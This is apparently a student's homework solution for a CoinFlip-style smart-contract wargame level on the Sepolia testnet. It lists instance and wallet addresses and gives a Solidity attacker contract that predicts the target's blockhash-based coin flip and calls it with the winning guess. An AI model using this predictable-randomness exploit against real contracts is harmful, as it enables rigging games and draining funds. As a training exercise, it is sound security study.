Session 3 HW

[thor4]

instance: 0xA62fE5344FE62AdC1F356447B669E9E6D10abaaF
attacker: 0x7993525B3b8F27a18488cb041996AEeF24EdcE28
network: Sepolia
wallet: 0xCBcE3bE28474c80415903947BC435265E2e5e61a

attacker.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ICoinFlip.sol";

contract Attacker {
    
    uint256 private lastHash;
    uint256 private constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    // Payable fallback function
    receive() external payable {}

    function flip() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        return side;
    }

    function attackCoinFlip(address coinFlipAddress) public returns (uint256) {
        ICoinFlip coinFlip = ICoinFlip(coinFlipAddress);

        bool predictedSide = flip();
        coinFlip.flip(predictedSide);
        
        return coinFlip.consecutiveWins();
    }

}

ICoinFlip.sol Interface

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
    function consecutiveWins() external view returns (uint256);
}